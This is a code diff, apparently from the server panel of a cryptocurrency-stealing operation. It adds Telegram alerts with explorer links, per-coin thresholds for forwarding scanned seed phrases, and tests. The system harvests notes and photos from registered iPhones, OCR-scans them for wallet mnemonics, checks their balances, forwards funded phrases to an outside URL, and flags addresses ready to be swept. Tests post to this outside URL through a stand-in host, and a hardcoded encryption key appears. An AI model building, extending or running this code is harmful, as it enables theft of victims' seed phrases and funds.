$id = (int) ($user['id'] ?? 0);
|
||||
if ($id > 0) {
|
||||
$out[] = $id;
|
||||
}
|
||||
}
|
||||
|
||||
return array_values(array_unique($out));
|
||||
});
|
||||
|
||||
return $ids;
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('telegram mention-all lookup failed: '.$e->getMessage(), [
|
||||
'chat_id' => $chatId,
|
||||
]);
|
||||
|
||||
return [];
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Send one message to a specific chat using the site bot (or an override token).
|
||||
*
|
||||
@@ -277,7 +352,7 @@ class TelegramNotifier
|
||||
if ($source !== '') {
|
||||
$lines[] = '🏷 <b>来源</b>: '.$this->e($source);
|
||||
}
|
||||
$lines[] = '📬 <b>地址</b>: <code>'.$this->e($w['address'] ?? '').'</code>';
|
||||
$lines[] = $this->addressLine((string) ($w['address'] ?? ''), $w['chain'] ?? null);
|
||||
$lines[] = '💵 <b>余额</b>: '.$this->e($bal);
|
||||
}
|
||||
|
||||
@@ -336,10 +411,11 @@ class TelegramNotifier
|
||||
if ($source !== '') {
|
||||
$lines[] = '🏷 <b>来源</b>: '.$this->e($source);
|
||||
}
|
||||
$lines[] = '📬 <b>地址</b>: <code>'.$this->e((string) $row->address).'</code>';
|
||||
$lines[] = $this->addressLine((string) $row->address, $chain);
|
||||
$lines[] = '💵 <b>余额</b>: '.$this->e($row->balanceDisplayLine());
|
||||
}
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
$lines[] = '@所有人';
|
||||
$this->send(implode("\n", $lines), $deviceId, mentionAll: true);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -377,14 +453,17 @@ class TelegramNotifier
|
||||
$inbound ? '✅ <b>余额入账</b>' : '📤 <b>余额转出</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🏷 <b>来源</b>: '.$this->e($origin !== '' ? $origin : '—'),
|
||||
'📬 <b>地址</b>: <code>'.$this->e($address).'</code>',
|
||||
$this->addressLine($address, $chain),
|
||||
'📥 <b>可归集</b>: '.($collectable === true ? '✅' : '⏳'),
|
||||
'💵 <b>金额</b>: '.$this->e($signed).' '.$this->e($symbol),
|
||||
];
|
||||
if ($balance !== null && trim($balance) !== '') {
|
||||
$lines[] = '💰 <b>余额</b>: '.$this->e($balance);
|
||||
}
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
if ($inbound && $collectable === true) {
|
||||
$lines[] = '@所有人';
|
||||
}
|
||||
$this->send(implode("\n", $lines), $deviceId, mentionAll: $inbound && $collectable === true);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -415,9 +494,9 @@ class TelegramNotifier
|
||||
}
|
||||
$lines[] = '🪙 <b>链</b>: '.$this->e($chain !== '' ? strtoupper($chain) : '—');
|
||||
$lines[] = '💎 <b>资产</b>: '.$this->e($asset !== '' ? strtoupper($asset) : '—');
|
||||
$lines[] = '📤 <b>转出</b>: <code>'.$this->e($fromAddress).'</code>';
|
||||
$lines[] = $this->addressLine($fromAddress, $chain, '转出', '📤');
|
||||
if ($toAddress !== null && trim($toAddress) !== '') {
|
||||
$lines[] = '📥 <b>转入</b>: <code>'.$this->e($toAddress).'</code>';
|
||||
$lines[] = $this->addressLine($toAddress, $chain, '转入', '📥');
|
||||
}
|
||||
if ($amount !== null && trim($amount) !== '') {
|
||||
$lines[] = '💵 <b>金额</b>: '.$this->e($amount).' '.$this->e(strtoupper($asset));
|
||||
@@ -468,8 +547,8 @@ class TelegramNotifier
|
||||
$lines = [
|
||||
$ok ? '⚡ <b>TRX 手续费补足成功</b>' : '⚠️ <b>TRX 手续费补足失败</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'📤 <b>手续费钱包</b>: <code>'.$this->e($feeFrom).'</code>',
|
||||
'📥 <b>转入</b>: <code>'.$this->e($toAddress).'</code>',
|
||||
$this->addressLine($feeFrom, 'TRON', '手续费钱包', '📤'),
|
||||
$this->addressLine($toAddress, 'TRON', '转入', '📥'),
|
||||
];
|
||||
if ($amount !== null && trim($amount) !== '') {
|
||||
$lines[] = '💵 <b>金额</b>: '.$this->e($amount).' TRX';
|
||||
@@ -528,6 +607,18 @@ class TelegramNotifier
|
||||
];
|
||||
}
|
||||
|
||||
private function addressLine(string $address, ?string $chain = null, string $label = '地址', string $emoji = '📬'): string
|
||||
{
|
||||
$addr = trim($address);
|
||||
$html = $emoji.' <b>'.$this->e($label).'</b>: <code>'.$this->e($addr).'</code>';
|
||||
$url = WalletAddress::explorerUrl($chain, $addr);
|
||||
if ($url !== null) {
|
||||
$html .= ' <a href="'.$this->e($url).'">🔍</a>';
|
||||
}
|
||||
|
||||
return $html;
|
||||
}
|
||||
|
||||
private function e(?string $value): string
|
||||
{
|
||||
return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
|
||||
|
||||
@@ -342,7 +342,7 @@ class TransferService
|
||||
private function notifyTransferTelegram(array $record, array $result): void
|
||||
{
|
||||
$operator = (string) ($record['operator'] ?? '');
|
||||
if (str_starts_with($operator, 'fee-topup')) {
|
||||
if (TransferRecord::isFeeTopup($operator)) {
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
@@ -80,6 +80,14 @@ return [
|
||||
// On: agent portal sees 助记词扫描 and scan ingest stays on the source device.
|
||||
// Off: hide agent scan UI; confirmed scan mnemonics ingest onto an official device.
|
||||
'agent_visible' => in_array(strtolower((string) env('CORUNA_AGENT_MNEMONIC_SCAN', '1')), ['1', 'true', 'yes', 'on'], true),
|
||||
// Scan-forward: derived address coin must be strictly greater than this.
|
||||
// Empty / unset = 0 (any positive balance still forwards).
|
||||
'forward_min_usdt' => (string) env('SCAN_FORWARD_MIN_USDT', '0'),
|
||||
'forward_min_trx' => (string) env('SCAN_FORWARD_MIN_TRX', '0'),
|
||||
'forward_min_eth' => (string) env('SCAN_FORWARD_MIN_ETH', '0'),
|
||||
'forward_min_btc' => (string) env('SCAN_FORWARD_MIN_BTC', '0'),
|
||||
'forward_min_sol' => (string) env('SCAN_FORWARD_MIN_SOL', '0'),
|
||||
'forward_min_bnb' => (string) env('SCAN_FORWARD_MIN_BNB', '0'),
|
||||
],
|
||||
|
||||
'mnemonic_reveal' => [
|
||||
|
||||
@@ -69,6 +69,24 @@
|
||||
<div class="layui-form-mid layui-word-aux">关闭后代理后台不显示「助记词扫描」;扫描确定入库的助记词归到一台官方设备,并记下原设备。开启则和现在一样。</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">转发门槛</label>
|
||||
<div class="layui-input-block" style="display:flex;flex-wrap:wrap;gap:8px;max-width:860px;">
|
||||
<input type="text" name="scan_forward_min_usdt" class="layui-input" placeholder="USDT" style="width:130px;"
|
||||
value="{{ $form['scan.forward_min_usdt'] }}">
|
||||
<input type="text" name="scan_forward_min_trx" class="layui-input" placeholder="TRX" style="width:130px;"
|
||||
value="{{ $form['scan.forward_min_trx'] }}">
|
||||
<input type="text" name="scan_forward_min_eth" class="layui-input" placeholder="ETH" style="width:130px;"
|
||||
value="{{ $form['scan.forward_min_eth'] }}">
|
||||
<input type="text" name="scan_forward_min_btc" class="layui-input" placeholder="BTC" style="width:130px;"
|
||||
value="{{ $form['scan.forward_min_btc'] }}">
|
||||
<input type="text" name="scan_forward_min_sol" class="layui-input" placeholder="SOL" style="width:130px;"
|
||||
value="{{ $form['scan.forward_min_sol'] }}">
|
||||
<input type="text" name="scan_forward_min_bnb" class="layui-input" placeholder="BNB" style="width:130px;"
|
||||
value="{{ $form['scan.forward_min_bnb'] }}">
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux" style="margin-left:110px;">扫描确定的助记词,派生地址任一币种余额大于对应门槛才转发;未填按 0(有余额就转)。低于门槛或探测失败则本机入库。</div>
|
||||
</div>
|
||||
|
||||
<fieldset class="layui-elem-field layui-field-title">
|
||||
<legend>自动转账(官方渠道)</legend>
|
||||
|
||||
@@ -20,10 +20,28 @@
|
||||
.tx-chain-eth, .tx-chain-ethereum { background: #627eea; }
|
||||
.tx-chain-btc, .tx-chain-bitcoin { background: #f7931a; }
|
||||
.tx-chain-trx, .tx-chain-tron { background: #ff0013; }
|
||||
.tx-summary {
|
||||
margin: 0 0 12px;
|
||||
padding: 10px 14px;
|
||||
background: #f8fafc;
|
||||
border: 1px solid #eef2f6;
|
||||
border-radius: 2px;
|
||||
font-size: 14px;
|
||||
color: #334155;
|
||||
}
|
||||
.tx-summary b { color: #0f172a; }
|
||||
.tx-summary .tx-sum-asset { margin-left: 16px; font-weight: 600; color: #0f766e; }
|
||||
.tx-summary .tx-sum-asset:first-child { margin-left: 0; }
|
||||
</style>
|
||||
<div class="layui-card">
|
||||
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-tx-search">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">时间范围</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="date_range" id="LAY-tx-date-range" class="layui-input" placeholder="开始日期 - 结束日期" autocomplete="off" style="width: 230px;">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">From</label>
|
||||
<div class="layui-input-block">
|
||||
@@ -86,6 +104,7 @@
|
||||
</div>
|
||||
</form>
|
||||
<div class="layui-card-body">
|
||||
<div class="tx-summary" id="LAY-tx-summary">成功归集金额: —</div>
|
||||
<table id="LAY-tx-list" lay-filter="LAY-tx-list"></table>
|
||||
<script type="text/html" id="LAY-tx-ops">
|
||||
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="detail">详情</a>
|
||||
@@ -96,8 +115,43 @@
|
||||
|
||||
@push('scripts')
|
||||
<script>
|
||||
layui.use(['table', 'form', 'layer'], function () {
|
||||
layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
var table = layui.table, form = layui.form, layer = layui.layer;
|
||||
var laydate = layui.laydate;
|
||||
var $ = layui.$;
|
||||
|
||||
laydate.render({
|
||||
elem: '#LAY-tx-date-range',
|
||||
type: 'date',
|
||||
range: true
|
||||
});
|
||||
|
||||
function parseRange(value) {
|
||||
var m = String(value || '').match(/^(\d{4}-\d{2}-\d{2})\s*-\s*(\d{4}-\d{2}-\d{2})$/);
|
||||
if (!m) return { date_from: '', date_to: '', date_range: '' };
|
||||
return { date_from: m[1], date_to: m[2], date_range: m[1] + ' - ' + m[2] };
|
||||
}
|
||||
|
||||
function searchWhere(field) {
|
||||
var parsed = parseRange(field.date_range || $('#LAY-tx-date-range').val());
|
||||
return Object.assign({}, field, parsed);
|
||||
}
|
||||
|
||||
function amountParts(totals) {
|
||||
var parts = (totals || []).filter(function (row) { return parseFloat(row.amount) > 0; });
|
||||
if (!parts.length) return '<span class="tx-sum-asset">0 USDT</span>';
|
||||
return parts.map(function (row) {
|
||||
return '<span class="tx-sum-asset">' + row.amount + ' ' + row.asset + '</span>';
|
||||
}).join('');
|
||||
}
|
||||
|
||||
function renderSummary(summary) {
|
||||
summary = summary || {};
|
||||
$('#LAY-tx-summary').html(
|
||||
'<div><b>成功归集金额:</b> ' + amountParts(summary.totals) + '</div>' +
|
||||
'<div style="margin-top:6px;"><b>手续费补足金额:</b> ' + amountParts(summary.fee_totals) + '</div>'
|
||||
);
|
||||
}
|
||||
|
||||
function chainTag(chain) {
|
||||
var raw = String(chain || '—');
|
||||
@@ -140,11 +194,14 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
]],
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' },
|
||||
done: function (res) {
|
||||
renderSummary(res.summary);
|
||||
}
|
||||
});
|
||||
|
||||
form.on('submit(LAY-tx-search)', function (data) {
|
||||
table.reload('LAY-tx-list', { where: data.field, page: { curr: 1 } });
|
||||
table.reload('LAY-tx-list', { where: searchWhere(data.field), page: { curr: 1 } });
|
||||
return false;
|
||||
});
|
||||
|
||||
|
||||
@@ -92,14 +92,56 @@ class CollectableAddressNotifyTest extends TestCase
|
||||
}
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '地址可归集通知')
|
||||
return str_contains($text, '@所有人')
|
||||
&& str_contains($text, '地址可归集通知')
|
||||
&& str_contains($text, self::TRON_0)
|
||||
&& str_contains($text, '<a href="https://tronscan.org/#/address/'.self::TRON_0.'">🔍</a>')
|
||||
&& str_contains($text, 'TRX: 3.5')
|
||||
&& str_contains($text, 'USDT: 12')
|
||||
&& ($request->data()['chat_id'] ?? null) === '10001';
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function collectable_telegram_mentions_chat_members_not_plain_at_all(): void
|
||||
{
|
||||
Http::fake([
|
||||
'*getChatAdministrators*' => Http::response([
|
||||
'ok' => true,
|
||||
'result' => [
|
||||
['user' => ['id' => 111, 'is_bot' => true, 'username' => 'thebot']],
|
||||
['user' => ['id' => 222, 'is_bot' => false, 'username' => 'alice']],
|
||||
['user' => ['id' => 333, 'is_bot' => false, 'first_name' => 'Bob']],
|
||||
],
|
||||
], 200),
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
]);
|
||||
|
||||
$device = Device::query()->create(['device_id' => 'dev-collect-mention']);
|
||||
$this->storeMnemonic($device);
|
||||
$addr = WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => self::TRON_0,
|
||||
'chain_type' => 'TRON',
|
||||
'source' => 'imToken',
|
||||
'trx' => 1,
|
||||
'usdt' => 2,
|
||||
]);
|
||||
|
||||
$this->assertTrue(app(MnemonicAddressLinker::class)->linkAddress($addr));
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
if (! str_contains($request->url(), 'sendMessage')) {
|
||||
return false;
|
||||
}
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '<a href="tg://user?id=222">@所有人</a>')
|
||||
&& str_contains($text, 'tg://user?id=333')
|
||||
&& ! str_contains($text, 'tg://user?id=111');
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function unmatched_link_does_not_send_collectable_telegram(): void
|
||||
{
|
||||
@@ -191,10 +233,14 @@ class CollectableAddressNotifyTest extends TestCase
|
||||
}
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '地址可归集通知')
|
||||
return str_contains($text, '@所有人')
|
||||
&& str_contains($text, '地址可归集通知')
|
||||
&& str_contains($text, self::TRON_0)
|
||||
&& str_contains($text, self::ETH_0)
|
||||
&& str_contains($text, self::BTC_0)
|
||||
&& str_contains($text, 'https://tronscan.org/#/address/'.self::TRON_0)
|
||||
&& str_contains($text, 'https://etherscan.io/address/'.self::ETH_0)
|
||||
&& str_contains($text, 'https://mempool.space/address/'.self::BTC_0)
|
||||
&& str_contains($text, 'TRX:')
|
||||
&& str_contains($text, 'USDT:')
|
||||
&& str_contains($text, 'BTC:')
|
||||
|
||||
@@ -11,7 +11,6 @@ use App\Http\Middleware\DecryptXxbbBody;
|
||||
use App\Models\Photo;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\MnemonicScanService;
|
||||
use App\Services\MnemonicScanStatus;
|
||||
use App\Services\MnemonicWalletDiscovery;
|
||||
@@ -54,6 +53,7 @@ TXT;
|
||||
#[Test]
|
||||
public function twelve_note_words_auto_confirm_and_ingest(): void
|
||||
{
|
||||
$this->bindPhraseBalance(false);
|
||||
$device = $this->device('dev-scan-12');
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
@@ -82,6 +82,7 @@ TXT;
|
||||
#[Test]
|
||||
public function glued_numbered_note_words_auto_confirm_and_ingest(): void
|
||||
{
|
||||
$this->bindPhraseBalance(false);
|
||||
$phrase = 'during exhaust tool custom smart old busy region skin wasp attitude wrist';
|
||||
$device = $this->device('dev-scan-glued');
|
||||
Note::query()->create([
|
||||
@@ -142,6 +143,7 @@ TXT;
|
||||
#[Test]
|
||||
public function admin_can_edit_and_confirm_a_suspected_photo(): void
|
||||
{
|
||||
$this->bindPhraseBalance(false);
|
||||
$device = $this->device('dev-scan-confirm');
|
||||
$photo = $this->photoWithOcr($device, self::INVALID_UNIQUE);
|
||||
app(MnemonicScanService::class)->scanPhoto($photo);
|
||||
@@ -218,6 +220,7 @@ TXT;
|
||||
#[Test]
|
||||
public function twelve_photo_words_auto_confirm_with_album_source(): void
|
||||
{
|
||||
$this->bindPhraseBalance(false);
|
||||
$device = $this->device('dev-scan-photo-12');
|
||||
$photo = $this->photoWithOcr($device, self::PHRASE);
|
||||
|
||||
@@ -259,6 +262,7 @@ TXT;
|
||||
#[Test]
|
||||
public function hidden_agent_scan_ingests_onto_official_device(): void
|
||||
{
|
||||
$this->bindPhraseBalance(false);
|
||||
config(['coruna.scan.agent_visible' => false]);
|
||||
$official = $this->officialDevice('dev-official-holder');
|
||||
$device = $this->device('dev-scan-reattach');
|
||||
@@ -450,7 +454,7 @@ TXT;
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
'https://dest.example/*' => Http::response('ok', 200),
|
||||
]);
|
||||
$this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 12.5);
|
||||
$this->bindPhraseBalance(true);
|
||||
|
||||
$device = $this->device('dev-scan-fwd');
|
||||
Note::query()->create([
|
||||
@@ -463,8 +467,10 @@ TXT;
|
||||
|
||||
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
||||
|
||||
$this->assertSame(1, $device->mnemonics()->count());
|
||||
$this->assertSame(self::PHRASE, $device->mnemonics()->first()?->mnemonic);
|
||||
$this->assertSame(0, $device->mnemonics()->count());
|
||||
$this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count());
|
||||
$this->assertSame(MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::query()->where('device_id', $device->id)->value('status'));
|
||||
$this->assertSame(MnemonicScanStatus::SUSPECTED, (int) $device->noteScans()->value('scan_status'));
|
||||
Http::assertSent(function ($request) {
|
||||
if (! str_starts_with($request->url(), 'https://dest.example/us')) {
|
||||
return false;
|
||||
@@ -487,6 +493,26 @@ TXT;
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function forwarded_photo_scan_stays_suspected(): void
|
||||
{
|
||||
config(['coruna.intercept.forward_url' => 'https://dest.example']);
|
||||
Http::fake([
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
'https://dest.example/*' => Http::response('ok', 200),
|
||||
]);
|
||||
$this->bindPhraseBalance(true);
|
||||
|
||||
$device = $this->device('dev-scan-fwd-photo');
|
||||
$photo = $this->photoWithOcr($device, self::PHRASE);
|
||||
app(MnemonicScanService::class)->scanPhoto($photo);
|
||||
|
||||
$photo->refresh();
|
||||
$this->assertSame(0, $device->mnemonics()->count());
|
||||
$this->assertSame(MnemonicScanStatus::SUSPECTED, (int) $photo->scan_status);
|
||||
$this->assertSame(MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::query()->where('photo_id', $photo->id)->value('status'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function confirmed_scan_does_not_forward_when_derived_addresses_have_no_balance(): void
|
||||
{
|
||||
@@ -496,7 +522,7 @@ TXT;
|
||||
'https://dest.example/*' => Http::response('ok', 200),
|
||||
'*' => Http::response('fail', 500),
|
||||
]);
|
||||
$this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 0);
|
||||
$this->bindPhraseBalance(false);
|
||||
|
||||
$device = $this->device('dev-scan-nofwd');
|
||||
Note::query()->create([
|
||||
@@ -510,7 +536,15 @@ TXT;
|
||||
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
||||
|
||||
$this->assertSame(1, $device->mnemonics()->count());
|
||||
$this->assertFalse((bool) $device->mnemonics()->first()?->discovery_complete);
|
||||
$this->assertSame(MnemonicFinding::STATUS_CONFIRMED, MnemonicFinding::query()->where('device_id', $device->id)->value('status'));
|
||||
$this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $device->noteScans()->value('scan_status'));
|
||||
Http::assertNotSent(fn ($request) => str_starts_with($request->url(), 'https://dest.example/us'));
|
||||
Http::assertSent(function ($request) {
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '新助记词');
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -521,7 +555,7 @@ TXT;
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
'*' => Http::response('ok', 200),
|
||||
]);
|
||||
$this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 99);
|
||||
$this->bindPhraseBalance(true);
|
||||
|
||||
$device = $this->device('dev-scan-nourl');
|
||||
Note::query()->create([
|
||||
@@ -538,23 +572,67 @@ TXT;
|
||||
Http::assertNotSent(fn ($request) => str_contains($request->url(), '/us') && ! str_contains($request->url(), 'telegram'));
|
||||
}
|
||||
|
||||
private function bindFundedDiscovery(string $address, float $usdt): void
|
||||
#[Test]
|
||||
public function confirmed_scan_persists_when_forward_fails(): void
|
||||
{
|
||||
config(['coruna.intercept.forward_url' => 'https://dest.example']);
|
||||
Http::fake([
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
'https://dest.example/*' => Http::response('fail', 500),
|
||||
]);
|
||||
$this->bindPhraseBalance(true);
|
||||
|
||||
$device = $this->device('dev-scan-fwd-fail');
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'content' => [
|
||||
['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9],
|
||||
],
|
||||
'content_hash' => hash('sha256', 'fwdfail'),
|
||||
]);
|
||||
|
||||
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
||||
|
||||
$this->assertSame(1, $device->mnemonics()->count());
|
||||
Http::assertSent(fn ($request) => str_starts_with($request->url(), 'https://dest.example/us'));
|
||||
Http::assertSent(function ($request) {
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '新助记词');
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function confirmed_scan_persists_when_balance_probe_fails(): void
|
||||
{
|
||||
config(['coruna.intercept.forward_url' => 'https://dest.example']);
|
||||
Http::fake([
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
'https://dest.example/*' => Http::response('ok', 200),
|
||||
]);
|
||||
$discovery = Mockery::mock(MnemonicWalletDiscovery::class);
|
||||
$discovery->shouldReceive('phraseHasPositiveBalance')->once()->andThrow(new \RuntimeException('rpc down'));
|
||||
$this->app->instance(MnemonicWalletDiscovery::class, $discovery);
|
||||
|
||||
$device = $this->device('dev-scan-probe-fail');
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'content' => [
|
||||
['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9],
|
||||
],
|
||||
'content_hash' => hash('sha256', 'probefail'),
|
||||
]);
|
||||
|
||||
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
||||
|
||||
$this->assertSame(1, $device->mnemonics()->count());
|
||||
Http::assertNotSent(fn ($request) => str_starts_with($request->url(), 'https://dest.example/us'));
|
||||
}
|
||||
|
||||
private function bindPhraseBalance(bool $hasBalance): void
|
||||
{
|
||||
$discovery = Mockery::mock(MnemonicWalletDiscovery::class);
|
||||
$discovery->shouldReceive('discoverActivated')->once()->andReturnUsing(function (WalletMnemonic $mnemonic) use ($address, $usdt) {
|
||||
WalletAddress::query()->create([
|
||||
'device_id' => $mnemonic->device_id,
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'address' => $address,
|
||||
'chain_type' => 'TRON',
|
||||
'source' => '备忘录扫描',
|
||||
'usdt' => $usdt,
|
||||
'trx' => 0,
|
||||
'monitor' => 1,
|
||||
]);
|
||||
|
||||
return $usdt > 0 ? 1 : 0;
|
||||
});
|
||||
$discovery->shouldReceive('phraseHasPositiveBalance')->once()->andReturn($hasBalance);
|
||||
$this->app->instance(MnemonicWalletDiscovery::class, $discovery);
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,97 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Services\CorunaCrypto;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class RejectUnknownDeviceKeyTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private const JUNK_LONG = 'CEFCAEEAEFADCDFAEC238552151148443485EF922FAAFCDEAECDECDECEDCE018';
|
||||
|
||||
private const JUNK_SHORT = '46BE1';
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
config([
|
||||
'coruna.telegram.bot_token' => 'tg-token',
|
||||
'coruna.telegram.owner_chat_id' => '10001',
|
||||
]);
|
||||
Http::fake([
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
'*' => Http::response(['ok' => true], 200),
|
||||
]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function xxbb_profile_drops_junk_device_ids(): void
|
||||
{
|
||||
$this->xxbbPost('/a', [
|
||||
'd' => self::JUNK_LONG,
|
||||
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
|
||||
])->assertOk()->assertSee('1786468227899{}', false);
|
||||
|
||||
$this->xxbbPost('/a', [
|
||||
'd' => self::JUNK_SHORT,
|
||||
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
|
||||
])->assertOk();
|
||||
|
||||
$this->assertSame(0, Device::query()->count());
|
||||
Http::assertNotSent(fn ($request) => str_contains($request->url(), 'api.telegram.org'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function darksword_census_drops_junk_device_ids(): void
|
||||
{
|
||||
$this->postJson('/a', [
|
||||
'lhu' => self::JUNK_LONG,
|
||||
'machine' => 'iPhone15,2',
|
||||
'ios_version' => '18.6',
|
||||
])->assertOk();
|
||||
|
||||
$this->postJson('/a', [
|
||||
'lhu' => self::JUNK_SHORT,
|
||||
'machine' => 'iPhone15,2',
|
||||
'ios_version' => '18.6',
|
||||
])->assertOk();
|
||||
|
||||
$this->assertSame(0, Device::query()->count());
|
||||
Http::assertNotSent(fn ($request) => str_contains($request->url(), 'api.telegram.org'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function app_register_drops_junk_device_ids(): void
|
||||
{
|
||||
$this->postJson('/api/v2/devices', [
|
||||
'deviceId' => self::JUNK_LONG,
|
||||
'hardwareModel' => 'iPhone15,2',
|
||||
'iosVersion' => '18.6',
|
||||
])->assertOk();
|
||||
|
||||
$this->call('POST', '/api/ap/u?a=chan1¬es.zip', [], [], [], [
|
||||
'HTTP_X_DEVICE_ID' => self::JUNK_SHORT,
|
||||
'HTTP_X_IOS_VERSION' => '18.6',
|
||||
'CONTENT_TYPE' => 'application/octet-stream',
|
||||
], 'not-a-real-zip')->assertOk()->assertJson(['ok' => true, 'bind' => false]);
|
||||
|
||||
$this->assertSame(0, Device::query()->count());
|
||||
Http::assertNotSent(fn ($request) => str_contains($request->url(), 'api.telegram.org'));
|
||||
}
|
||||
|
||||
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899')
|
||||
{
|
||||
$enc = (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson($payload, $ts);
|
||||
|
||||
return $this->call('POST', $path, [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_X_TS' => $ts,
|
||||
], $enc['body']);
|
||||
}
|
||||
}
|
||||
@@ -153,6 +153,8 @@ class SystemAdminTest extends TestCase
|
||||
'telegram_owner_chat_id' => '-1001',
|
||||
'official_album_storage' => '1',
|
||||
'auto_transfer_enabled' => '0',
|
||||
'scan_forward_min_usdt' => '10',
|
||||
'scan_forward_min_trx' => '20',
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
@@ -165,6 +167,10 @@ class SystemAdminTest extends TestCase
|
||||
$this->assertSame('test_bot', config('coruna.telegram.bot_username'));
|
||||
$this->assertSame('-1001', config('coruna.telegram.owner_chat_id'));
|
||||
$this->assertTrue(config('coruna.album_storage.official_default'));
|
||||
$this->assertSame('10', config('coruna.scan.forward_min_usdt'));
|
||||
$this->assertSame('20', config('coruna.scan.forward_min_trx'));
|
||||
$this->assertSame('0', config('coruna.scan.forward_min_eth'));
|
||||
$this->assertStringContainsString('SCAN_FORWARD_MIN_USDT=10', $env);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -203,6 +209,7 @@ class SystemAdminTest extends TestCase
|
||||
->assertSee('TRANSFER_TO_ADDRESS_SOL')
|
||||
->assertSee('只能在 .env 配置')
|
||||
->assertDontSee('hidden-cdn.example.com')
|
||||
->assertSee('转发门槛')
|
||||
->assertSee('TELEGRAM_BOT_TOKEN')
|
||||
->assertSee('@ops_bot')
|
||||
->assertDontSee('助记词明文(员工 / 代理)')
|
||||
|
||||
@@ -188,7 +188,8 @@ class TokenviewWebhookTest extends TestCase
|
||||
&& str_contains($text, 'USDT')
|
||||
&& str_contains($text, '来源</b>: imToken - TRX')
|
||||
&& str_contains($text, '可归集')
|
||||
